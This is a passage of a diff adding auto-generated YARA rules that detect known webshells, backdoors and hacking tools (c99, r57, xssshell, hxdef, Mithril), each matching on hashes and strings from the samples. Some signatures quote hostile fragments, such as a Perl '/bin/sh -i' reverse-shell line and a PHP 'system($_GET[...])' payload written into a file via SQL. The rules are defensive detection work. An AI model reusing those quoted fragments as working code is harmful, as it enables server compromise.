+		$s8 = "<LOCAL PORT> <MAPPING SERVER> <MAPPING SERVER PORT> <TARGET SERVER> <TARGET"
+	condition:
+		all of them
+}
+rule HYTop_CaseSwitch_2005 {
+	meta:
+		description = "Webshells Auto-generated - file 2005.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "8bf667ee9e21366bc0bd3491cb614f41"
+	strings:
+		$s1 = "MSComDlg.CommonDialog"
+		$s2 = "CommonDialog1"
+		$s3 = "__vbaExceptHandler"
+		$s4 = "EVENT_SINK_Release"
+		$s5 = "EVENT_SINK_AddRef"
+		$s6 = "By Marcos"
+		$s7 = "EVENT_SINK_QueryInterface"
+		$s8 = "MethCallEngine"
+	condition:
+		all of them
+}
+rule eBayId_index3 {
+	meta:
+		description = "Webshells Auto-generated - file index3.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "0412b1e37f41ea0d002e4ed11608905f"
+	strings:
+		$s8 = "$err = \"<i>Your Name</i> Not Entered!</font></h2>Sorry, \\\"You"
+	condition:
+		all of them
+}
+rule FSO_s_phvayv {
+	meta:
+		description = "Webshells Auto-generated - file phvayv.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "205ecda66c443083403efb1e5c7f7878"
+	strings:
+		$s2 = "wrap=\"OFF\">XXXX</textarea></font><font face"
+	condition:
+		all of them
+}
+rule byshell063_ntboot {
+	meta:
+		description = "Webshells Auto-generated - file ntboot.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "99b5f49db6d6d9a9faeffb29fd8e6d8c"
+	strings:
+		$s0 = "SYSTEM\\CurrentControlSet\\Services\\NtBoot"
+		$s1 = "Failure ... Access is Denied !"
+		$s2 = "Dumping Description to Registry..."
+		$s3 = "Opening Service .... Failure !"
+	condition:
+		all of them
+}
+rule FSO_s_casus15_2 {
+	meta:
+		description = "Webshells Auto-generated - file casus15.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "8d155b4239d922367af5d0a1b89533a3"
+	strings:
+		$s0 = "copy ( $dosya_gonder"
+	condition:
+		all of them
+}
+rule installer {
+	meta:
+		description = "Webshells Auto-generated - file installer.cmd"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "a507919ae701cf7e42fa441d3ad95f8f"
+	strings:
+		$s0 = "Restore Old Vanquish"
+		$s4 = "ReInstall Vanquish"
+	condition:
+		all of them
+}
+rule uploader {
+	meta:
+		description = "Webshells Auto-generated - file uploader.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "b9a9aab319964351b46bd5fc9d6246a8"
+	strings:
+		$s0 = "move_uploaded_file($userfile, \"entrika.php\"); "
+	condition:
+		all of them
+}
+rule FSO_s_remview_2 {
+	meta:
+		description = "Webshells Auto-generated - file remview.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "b4a09911a5b23e00b55abe546ded691c"
+	strings:
+		$s0 = "<xmp>$out</"
+		$s1 = ".mm(\"Eval PHP code\")."
+	condition:
+		all of them
+}
+rule FeliksPack3___PHP_Shells_r57 {
+	meta:
+		description = "Webshells Auto-generated - file r57.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "903908b77a266b855262cdbce81c3f72"
+	strings:
+		$s1 = "$sql = \"LOAD DATA INFILE \\\"\".$_POST['test3_file']."
+	condition:
+		all of them
+}
+rule HYTop2006_rar_Folder_2006X {
+	meta:
+		description = "Webshells Auto-generated - file 2006X.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "cf3ee0d869dd36e775dfcaa788db8e4b"
+	strings:
+		$s1 = "<input name=\"password\" type=\"password\" id=\"password\""
+		$s6 = "name=\"theAction\" type=\"text\" id=\"theAction\""
+	condition:
+		all of them
+}
+rule FSO_s_phvayv_2 {
+	meta:
+		description = "Webshells Auto-generated - file phvayv.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "205ecda66c443083403efb1e5c7f7878"
+	strings:
+		$s2 = "rows=\"24\" cols=\"122\" wrap=\"OFF\">XXXX</textarea></font><font"
+	condition:
+		all of them
+}
+rule elmaliseker {
+	meta:
+		description = "Webshells Auto-generated - file elmaliseker.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "ccf48af0c8c09bbd038e610a49c9862e"
+	strings:
+		$s0 = "javascript:Command('Download'"
+		$s5 = "zombie_array=array("
+	condition:
+		all of them
+}
+rule shelltools_g0t_root_resolve {
+	meta:
+		description = "Webshells Auto-generated - file resolve.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "69bf9aa296238610a0e05f99b5540297"
+	strings:
+		$s0 = "3^n6B(Ed3"
+		$s1 = "^uldn'Vt(x"
+		$s2 = "\\= uPKfp"
+		$s3 = "'r.axV<ad"
+		$s4 = "p,modoi$=sr("
+		$s5 = "DiamondC8S t"
+		$s6 = "`lQ9fX<ZvJW"
+	condition:
+		all of them
+}
+rule FSO_s_RemExp {
+	meta:
+		description = "Webshells Auto-generated - file RemExp.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "b69670ecdbb40012c73686cd22696eeb"
+	strings:
+		$s1 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=SubFolder.Name%>\"> <a href= \"<%=Request.Ser"
+		$s5 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=File.Name%>\"> <a href= \"showcode.asp?f=<%=F"
+		$s6 = "<td bgcolor=\"<%=BgColor%>\" align=\"right\"><%=Attributes(SubFolder.Attributes)%></"
+	condition:
+		all of them
+}
+rule FSO_s_tool {
+	meta:
+		description = "Webshells Auto-generated - file tool.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "3a1e1e889fdd974a130a6a767b42655b"
+	strings:
+		$s7 = "\"\"%windir%\\\\calc.exe\"\")"
+	condition:
+		all of them
+}
+rule FeliksPack3___PHP_Shells_2005 {
+	meta:
+		description = "Webshells Auto-generated - file 2005.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "97f2552c2fafc0b2eb467ee29cc803c8"
+	strings:
+		$s0 = "window.open(\"\"&url&\"?id=edit&path=\"+sfile+\"&op=copy&attrib=\"+attrib+\"&dpath=\"+lp"
+		$s3 = "<input name=\"dbname\" type=\"hidden\" id=\"dbname\" value=\"<%=request(\"dbname\")%>\">"
+	condition:
+		all of them
+}
+rule byloader {
+	meta:
+		description = "Webshells Auto-generated - file byloader.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "0f0d6dc26055653f5844ded906ce52df"
+	strings:
+		$s0 = "SYSTEM\\CurrentControlSet\\Services\\NtfsChk"
+		$s1 = "Failure ... Access is Denied !"
+		$s2 = "NTFS Disk Driver Checking Service"
+		$s3 = "Dumping Description to Registry..."
+		$s4 = "Opening Service .... Failure !"
+	condition:
+		all of them
+}
+rule shelltools_g0t_root_Fport {
+	meta:
+		description = "Webshells Auto-generated - file Fport.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "dbb75488aa2fa22ba6950aead1ef30d5"
+	strings:
+		$s4 = "Copyright 2000 by Foundstone, Inc."
+		$s5 = "You must have administrator privileges to run fport - exiting..."
+	condition:
+		all of them
+}
+rule BackDooR__fr_ {
+	meta:
+		description = "Webshells Auto-generated - file BackDooR (fr).php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "a79cac2cf86e073a832aaf29a664f4be"
+	strings:
+		$s3 = "print(\"<p align=\\\"center\\\"><font size=\\\"5\\\">Exploit include "
+	condition:
+		all of them
+}
+rule FSO_s_ntdaddy {
+	meta:
+		description = "Webshells Auto-generated - file ntdaddy.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "f6262f3ad9f73b8d3e7d9ea5ec07a357"
+	strings:
+		$s1 = "<input type=\"text\" name=\".CMD\" size=\"45\" value=\"<%= szCMD %>\"> <input type=\"s"
+	condition:
+		all of them
+}
+rule nstview_nstview {
+	meta:
+		description = "Webshells Auto-generated - file nstview.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "3871888a0c1ac4270104918231029a56"
+	strings:
+		$s4 = "open STDIN,\\\"<&X\\\";open STDOUT,\\\">&X\\\";open STDERR,\\\">&X\\\";exec(\\\"/bin/sh -i\\\");"
+	condition:
+		all of them
+}
+rule HYTop_DevPack_upload {
+	meta:
+		description = "Webshells Auto-generated - file upload.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "b09852bda534627949f0259828c967de"
+	strings:
+		$s0 = "<!-- PageUpload Below -->"
+	condition:
+		all of them
+}
+rule PasswordReminder {
+	meta:
+		description = "Webshells Auto-generated - file PasswordReminder.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "ea49d754dc609e8bfa4c0f95d14ef9bf"
+	strings:
+		$s3 = "The encoded password is found at 0x%8.8lx and has a length of %d."
+	condition:
+		all of them
+}
+rule Pack_InjectT {
+	meta:
+		description = "Webshells Auto-generated - file InjectT.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "983b74ccd57f6195a0584cdfb27d55e8"
+	strings:
+		$s3 = "ail To Open Registry"
+		$s4 = "32fDssignim"
+		$s5 = "vide Internet S"
+		$s6 = "d]Software\\M"
+		$s7 = "TInject.Dll"
+	condition:
+		all of them
+}
+rule FSO_s_RemExp_2 {
+	meta:
+		description = "Webshells Auto-generated - file RemExp.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "b69670ecdbb40012c73686cd22696eeb"
+	strings:
+		$s2 = " Then Response.Write \""
+		$s3 = "<a href= \"<%=Request.ServerVariables(\"script_name\")%>"
+	condition:
+		all of them
+}
+rule FSO_s_c99 {
+	meta:
+		description = "Webshells Auto-generated - file c99.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "5f9ba02eb081bba2b2434c603af454d0"
+	strings:
+		$s2 = "\"txt\",\"conf\",\"bat\",\"sh\",\"js\",\"bak\",\"doc\",\"log\",\"sfc\",\"cfg\",\"htacce"
+	condition:
+		all of them
+}
+rule rknt_zip_Folder_RkNT {
+	meta:
+		description = "Webshells Auto-generated - file RkNT.dll"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "5f97386dfde148942b7584aeb6512b85"
+	strings:
+		$s0 = "PathStripPathA"
+		$s1 = "`cLGet!Addr%"
+		$s2 = "$Info: This file is packed with the UPX executable packer http://upx.tsx.org $"
+		$s3 = "oQToOemBuff* <="
+		$s4 = "ionCdunAsw[Us'"
+		$s6 = "CreateProcessW: %S"
+		$s7 = "ImageDirectoryEntryToData"
+	condition:
+		all of them
+}
+rule dbgntboot {
+	meta:
+		description = "Webshells Auto-generated - file dbgntboot.dll"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "4d87543d4d7f73c1529c9f8066b475ab"
+	strings:
+		$s2 = "now DOS is working at mode %d,faketype %d,against %s,has worked %d minutes,by sp"
+		$s3 = "sth junk the M$ Wind0wZ retur"
+	condition:
+		all of them
+}
+rule PHP_shell {
+	meta:
+		description = "Webshells Auto-generated - file shell.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "45e8a00567f8a34ab1cccc86b4bc74b9"
+	strings:
+		$s0 = "AR8iROET6mMnrqTpC6W1Kp/DsTgxNby9H1xhiswfwgoAtED0y6wEXTihoAtICkIX6L1+vTUYWuWz"
+		$s11 = "1HLp1qnlCyl5gko8rDlWHqf8/JoPKvGwEm9Q4nVKvEh0b0PKle3zeFiJNyjxOiVepMSpflJkPv5s"
+	condition:
+		all of them
+}
+rule hxdef100 {
+	meta:
+		description = "Webshells Auto-generated - file hxdef100.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "55cc1769cef44910bd91b7b73dee1f6c"
+	strings:
+		$s0 = "RtlAnsiStringToUnicodeString"
+		$s8 = "SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\"
+		$s9 = "\\\\.\\mailslot\\hxdef-rk100sABCDEFGH"
+	condition:
+		all of them
+}
+rule rdrbs100 {
+	meta:
+		description = "Webshells Auto-generated - file rdrbs100.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "7c752bcd6da796d80a6830c61a632bff"
+	strings:
+		$s3 = "Server address must be IP in A.B.C.D format."
+		$s4 = " mapped ports in the list. Currently "
+	condition:
+		all of them
+}
+rule Mithril_Mithril {
+	meta:
+		description = "Webshells Auto-generated - file Mithril.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "017191562d72ab0ca551eb89256650bd"
+	strings:
+		$s0 = "OpenProcess error!"
+		$s1 = "WriteProcessMemory error!"
+		$s4 = "GetProcAddress error!"
+		$s5 = "HHt`HHt\\"
+		$s6 = "Cmaudi0"
+		$s7 = "CreateRemoteThread error!"
+		$s8 = "Kernel32"
+		$s9 = "VirtualAllocEx error!"
+	condition:
+		all of them
+}
+rule hxdef100_2 {
+	meta:
+		description = "Webshells Auto-generated - file hxdef100.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "1b393e2e13b9c57fb501b7cd7ad96b25"
+	strings:
+		$s0 = "\\\\.\\mailslot\\hxdef-rkc000"
+		$s2 = "Shared Components\\On Access Scanner\\BehaviourBlo"
+		$s6 = "SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\"
+	condition:
+		all of them
+}
+rule Release_dllTest {
+	meta:
+		description = "Webshells Auto-generated - file dllTest.dll"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "76a59fc3242a2819307bb9d593bef2e0"
+	strings:
+		$s0 = ";;;Y;`;d;h;l;p;t;x;|;"
+		$s1 = "0 0&00060K0R0X0f0l0q0w0"
+		$s2 = ": :$:(:,:0:4:8:D:`=d="
+		$s3 = "4@5P5T5\\5T7\\7d7l7t7|7"
+		$s4 = "1,121>1C1K1Q1X1^1e1k1s1y1"
+		$s5 = "9 9$9(9,9P9X9\\9`9d9h9l9p9t9x9|9"
+		$s6 = "0)0O0\\0a0o0\"1E1P1q1"
+		$s7 = "<.<I<d<h<l<p<t<x<|<"
+		$s8 = "3&31383>3F3Q3X3`3f3w3|3"
+		$s9 = "8@;D;H;L;P;T;X;\\;a;9=W=z="
+	condition:
+		all of them
+}
+rule webadmin {
+	meta:
+		description = "Webshells Auto-generated - file webadmin.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "3a90de401b30e5b590362ba2dde30937"
+	strings:
+		$s0 = "<input name=\\\"editfilename\\\" type=\\\"text\\\" class=\\\"style1\\\" value='\".$this->inpu"
+	condition:
+		all of them
+}
+rule commands {
+	meta:
+		description = "Webshells Auto-generated - file commands.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "174486fe844cb388e2ae3494ac2d1ec2"
+	strings:
+		$s1 = "If CheckRecord(\"SELECT COUNT(ID) FROM VictimDetail WHERE VictimID = \" & VictimID"
+		$s2 = "proxyArr = Array (\"HTTP_X_FORWARDED_FOR\",\"HTTP_VIA\",\"HTTP_CACHE_CONTROL\",\"HTTP_F"
+	condition:
+		all of them
+}
+rule hkdoordll {
+	meta:
+		description = "Webshells Auto-generated - file hkdoordll.dll"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "b715c009d47686c0e62d0981efce2552"
+	strings:
+		$s6 = "Can't uninstall,maybe the backdoor is not installed or,the Password you INPUT is"
+	condition:
+		all of them
+}
+rule r57shell_2 {
+	meta:
+		description = "Webshells Auto-generated - file r57shell.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "8023394542cddf8aee5dec6072ed02b5"
+	strings:
+		$s2 = "echo \"<br>\".ws(2).\"HDD Free : <b>\".view_size($free).\"</b> HDD Total : <b>\".view_"
+	condition:
+		all of them
+}
+rule Mithril_v1_45_dllTest {
+	meta:
+		description = "Webshells Auto-generated - file dllTest.dll"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "1b9e518aaa62b15079ff6edb412b21e9"
+	strings:
+		$s3 = "syspath"
+		$s4 = "\\Mithril"
+		$s5 = "--list the services in the computer"
+	condition:
+		all of them
+}
+rule dbgiis6cli {
+	meta:
+		description = "Webshells Auto-generated - file dbgiis6cli.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "3044dceb632b636563f66fee3aaaf8f3"
+	strings:
+		$s0 = "User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
+		$s5 = "###command:(NO more than 100 bytes!)"
+	condition:
+		all of them
+}
+rule remview_2003_04_22 {
+	meta:
+		description = "Webshells Auto-generated - file remview_2003_04_22.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "17d3e4e39fbca857344a7650f7ea55e3"
+	strings:
+		$s1 = "\"<b>\".mm(\"Eval PHP code\").\"</b> (\".mm(\"don't type\").\" \\\"&lt;?\\\""
+	condition:
+		all of them
+}
+rule FSO_s_test {
+	meta:
+		description = "Webshells Auto-generated - file test.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "82cf7b48da8286e644f575b039a99c26"
+	strings:
+		$s0 = "$yazi = \"test\" . \"\\r\\n\";"
+		$s2 = "fwrite ($fp, \"$yazi\");"
+	condition:
+		all of them
+}
+rule Debug_cress {
+	meta:
+		description = "Webshells Auto-generated - file cress.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "36a416186fe010574c9be68002a7286a"
+	strings:
+		$s0 = "\\Mithril "
+		$s4 = "Mithril.exe"
+	condition:
+		all of them
+}
+rule webshell {
+	meta:
+		description = "Webshells Auto-generated - file webshell.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "f2f8c02921f29368234bfb4d4622ad19"
+	strings:
+		$s0 = "RhViRYOzz"
+		$s1 = "d\\O!jWW"
+		$s2 = "bc!jWW"
+		$s3 = "0W[&{l"
+		$s4 = "[INhQ@\\"
+	condition:
+		all of them
+}
+rule FSO_s_EFSO_2 {
+	meta:
+		description = "Webshells Auto-generated - file EFSO_2.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "a341270f9ebd01320a7490c12cb2e64c"
+	strings:
+		$s0 = ";!+/DRknD7+.\\mDrC(V+kcJznndm\\f|nzKuJb'r@!&0KUY@*Jb@#@&Xl\"dKVcJ\\CslU,),@!0KxD~mKV"
+		$s4 = "\\co!VV2CDtSJ'E*#@#@&mKx/DP14lM/nY{JC81N+6LtbL3^hUWa;M/OE-AXX\"b~/fAs!u&9|J\\grKp\"j"
+	condition:
+		all of them
+}
+rule thelast_index3 {
+	meta:
+		description = "Webshells Auto-generated - file index3.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "cceff6dc247aaa25512bad22120a14b4"
+	strings:
+		$s5 = "$err = \"<i>Your Name</i> Not Entered!</font></h2>Sorry, \\\"Your Name\\\" field is r"
+	condition:
+		all of them
+}
+rule adjustcr {
+	meta:
+		description = "Webshells Auto-generated - file adjustcr.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "17037fa684ef4c90a25ec5674dac2eb6"
+	strings:
+		$s0 = "$Info: This file is packed with the UPX executable packer $"
+		$s2 = "$License: NRV for UPX is distributed under special license $"
+		$s6 = "AdjustCR Carr"
+		$s7 = "ION\\System\\FloatingPo"
+	condition:
+		all of them
+}
+rule FeliksPack3___PHP_Shells_xIShell {
+	meta:
+		description = "Webshells Auto-generated - file xIShell.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "997c8437c0621b4b753a546a53a88674"
+	strings:
+		$s3 = "if (!$nix) { $xid = implode(explode(\"\\\\\",$xid),\"\\\\\\\\\");}echo (\"<td><a href='Java"
+	condition:
+		all of them
+}
+rule HYTop_AppPack_2005 {
+	meta:
+		description = "Webshells Auto-generated - file 2005.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "63d9fd24fa4d22a41fc5522fc7050f9f"
+	strings:
+		$s6 = "\" onclick=\"this.form.sqlStr.value='e:\\hytop.mdb"
+	condition:
+		all of them
+}
+rule xssshell {
+	meta:
+		description = "Webshells Auto-generated - file xssshell.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "8fc0ffc5e5fbe85f7706ffc45b3f79b4"
+	strings:
+		$s1 = "if( !getRequest(COMMANDS_URL + \"?v=\" + VICTIM + \"&r=\" + generateID(), \"pushComma"
+	condition:
+		all of them
+}
+rule FeliksPack3___PHP_Shells_usr {
+	meta:
+		description = "Webshells Auto-generated - file usr.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "ade3357520325af50c9098dc8a21a024"
+	strings:
+		$s0 = "<?php $id_info = array('notify' => 'off','sub' => 'aasd','s_name' => 'nurullahor"
+	condition:
+		all of them
+}
+rule FSO_s_phpinj {
+	meta:
+		description = "Webshells Auto-generated - file phpinj.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "dd39d17e9baca0363cc1c3664e608929"
+	strings:
+		$s4 = "echo '<a href='.$expurl.'> Click Here to Exploit </a> <br />';"
+	condition:
+		all of them
+}
+rule xssshell_db {
+	meta:
+		description = "Webshells Auto-generated - file db.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "cb62e2ec40addd4b9930a9e270f5b318"
+	strings:
+		$s8 = "'// By Ferruh Mavituna | http://ferruh.mavituna.com"
+	condition:
+		all of them
+}
+rule PHP_sh {
+	meta:
+		description = "Webshells Auto-generated - file sh.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "1e9e879d49eb0634871e9b36f99fe528"
+	strings:
+		$s1 = "\"@$SERVER_NAME \".exec(\"pwd\")"
+	condition:
+		all of them
+}
+rule xssshell_default {
+	meta:
+		description = "Webshells Auto-generated - file default.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "d156782ae5e0b3724de3227b42fcaf2f"
+	strings:
+		$s3 = "If ProxyData <> \"\" Then ProxyData = Replace(ProxyData, DATA_SEPERATOR, \"<br />\")"
+	condition:
+		all of them
+}
+rule EditServer_2 {
+	meta:
+		description = "Webshells Auto-generated - file EditServer.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "5c1f25a4d206c83cdfb006b3eb4c09ba"
+	strings:
+		$s0 = "@HOTMAIL.COM"
+		$s1 = "Press Any Ke"
+		$s3 = "glish MenuZ"
+	condition:
+		all of them
+}
+rule by064cli {
+	meta:
+		description = "Webshells Auto-generated - file by064cli.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "10e0dff366968b770ae929505d2a9885"
+	strings:
+		$s7 = "packet dropped,redirecting"
+		$s9 = "input the password(the default one is 'by')"
+	condition:
+		all of them
+}
+rule Mithril_dllTest {
+	meta:
+		description = "Webshells Auto-generated - file dllTest.dll"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "a8d25d794d8f08cd4de0c3d6bf389e6d"
+	strings:
+		$s0 = "please enter the password:"
+		$s3 = "\\dllTest.pdb"
+	condition:
+		all of them
+}
+rule peek_a_boo {
+	meta:
+		description = "Webshells Auto-generated - file peek-a-boo.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "aca339f60d41fdcba83773be5d646776"
+	strings:
+		$s0 = "__vbaHresultCheckObj"
+		$s1 = "\\VB\\VB5.OLB"
+		$s2 = "capGetDriverDescriptionA"
+		$s3 = "__vbaExceptHandler"
+		$s4 = "EVENT_SINK_Release"
+		$s8 = "__vbaErrorOverflow"
+	condition:
+		all of them
+}
+rule fmlibraryv3 {
+	meta:
+		description = "Webshells Auto-generated - file fmlibraryv3.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "c34c248fed6d5a20d8203924a2088acc"
+	strings:
+		$s3 = "ExeNewRs.CommandText = \"UPDATE \" & tablename & \" SET \" & ExeNewRsValues & \" WHER"
+	condition:
+		all of them
+}
+rule Debug_dllTest_2 {
+	meta:
+		description = "Webshells Auto-generated - file dllTest.dll"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "1b9e518aaa62b15079ff6edb412b21e9"
+	strings:
+		$s4 = "\\Debug\\dllTest.pdb"
+		$s5 = "--list the services in the computer"
+	condition:
+		all of them
+}
+rule connector {
+	meta:
+		description = "Webshells Auto-generated - file connector.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "3ba1827fca7be37c8296cd60be9dc884"
+	strings:
+		$s2 = "If ( AttackID = BROADCAST_ATTACK )"
+		$s4 = "Add UNIQUE ID for victims / zombies"
+	condition:
+		all of them
+}
+rule shelltools_g0t_root_HideRun {
+	meta:
+		description = "Webshells Auto-generated - file HideRun.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "45436d9bfd8ff94b71eeaeb280025afe"
+	strings:
+		$s0 = "Usage -- hiderun [AppName]"
+		$s7 = "PVAX SW, Alexey A. Popoff, Moscow, 1997."
+	condition:
+		all of them
+}
+rule regshell {
+	meta:
+		description = "Webshells Auto-generated - file regshell.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "db2fdc821ca6091bab3ebd0d8bc46ded"
+	strings:
+		$s0 = "Changes the base hive to HKEY_CURRENT_USER."
+		$s4 = "Displays a list of values and sub-keys in a registry Hive."
+		$s5 = "Enter a menu selection number (1 - 3) or 99 to Exit: "
+	condition:
+		all of them
+}
+rule PHP_Shell_v1_7 {
+	meta:
+		description = "Webshells Auto-generated - file PHP_Shell_v1.7.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "b5978501c7112584532b4ca6fb77cba5"
+	strings:
+		$s8 = "<title>[ADDITINAL TITTLE]-phpShell by:[YOURNAME]"
+	condition:
+		all of them
+}
+rule xssshell_save {
+	meta:
+		description = "Webshells Auto-generated - file save.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "865da1b3974e940936fe38e8e1964980"
+	strings:
+		$s4 = "RawCommand = Command & COMMAND_SEPERATOR & Param & COMMAND_SEPERATOR & AttackID"
+		$s5 = "VictimID = fm_NStr(Victims(i))"
+	condition:
+		all of them
+}
+rule screencap {
+	meta:
+		description = "Webshells Auto-generated - file screencap.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "51139091dea7a9418a50f2712ea72aa6"
+	strings:
+		$s0 = "GetDIBColorTable"
+		$s1 = "Screen.bmp"
+		$s2 = "CreateDCA"
+	condition:
+		all of them
+}
+rule FSO_s_phpinj_2 {
+	meta:
+		description = "Webshells Auto-generated - file phpinj.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "dd39d17e9baca0363cc1c3664e608929"
+	strings:
+		$s9 = "<? system(\\$_GET[cpc]);exit; ?>' ,0 ,0 ,0 ,0 INTO"
+	condition:
+		all of them
+}
+rule ZXshell2_0_rar_Folder_zxrecv {
+	meta:
+		description = "Webshells Auto-generated - file zxrecv.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "5d3d12a39f41d51341ef4cb7ce69d30f"
+	strings:
+		$s0 = "RyFlushBuff"
+		$s1 = "teToWideChar^FiYP"
+		$s2 = "mdesc+8F D"
+		$s3 = "\\von76std"
+		$s4 = "5pur+virtul"
+		$s5 = "- Kablto io"
+		$s6 = "ac#f{lowi8a"
+	condition:
+		all of them
+}
+rule FSO_s_ajan {
+	meta:
+		description = "Webshells Auto-generated - file ajan.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "22194f8c44524f80254e1b5aec67b03e"
+	strings:
+		$s4 = "entrika.write \"BinaryStream.SaveToFile"
+	condition:
+		all of them
+}
+rule c99shell {
+	meta:
+		description = "Webshells Auto-generated - file c99shell.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "90b86a9c63e2cd346fe07cea23fbfc56"
+	strings:
+		$s0 = "<br />Input&nbsp;URL:&nbsp;&lt;input&nbsp;name=\\\"uploadurl\\\"&nbsp;type=\\\"text\\\"&"
+	condition:
+		all of them
+}
+rule phpspy_2005_full {
+	meta:
+		description = "Webshells Auto-generated - file phpspy_2005_full.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "d1c69bb152645438440e6c903bac16b2"
+	strings:
+		$s7 = "echo \"  <td align=\\\"center\\\" nowrap valign=\\\"top\\\"><a href=\\\"?downfile=\".urlenco"
+	condition:
+		all of them
+}
+rule FSO_s_zehir4_2 {
+	meta:
+		description = "Webshells Auto-generated - file zehir4.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "5b496a61363d304532bcf52ee21f5d55"
+	strings:
+		$s4 = "\"Program Files\\Serv-u\\Serv"
+	condition:
+		all of them
+}
+rule httpdoor {
+	meta:
+		description = "Webshells Auto-generated - file httpdoor.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "6097ea963455a09474471a9864593dc3"
+	strings:
+		$s4 = "''''''''''''''''''DaJKHPam"
+		$s5 = "o,WideCharR]!n]"
+		$s6 = "HAutoComplete"
+		$s7 = "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?> <assembly xmlns=\"urn:sch"
+	condition:
+		all of them
+}
+rule FSO_s_indexer_2 {
+	meta:
+		description = "Webshells Auto-generated - file indexer.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "135fc50f85228691b401848caef3be9e"
+	strings:
+		$s5 = "<td>Nerden :<td><input type=\"text\" name=\"nerden\" size=25 value=index.html></td>"
+	condition:
+		all of them
+}
+rule HYTop_DevPack_2005 {
+	meta:
+		description = "Webshells Auto-generated - file 2005.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
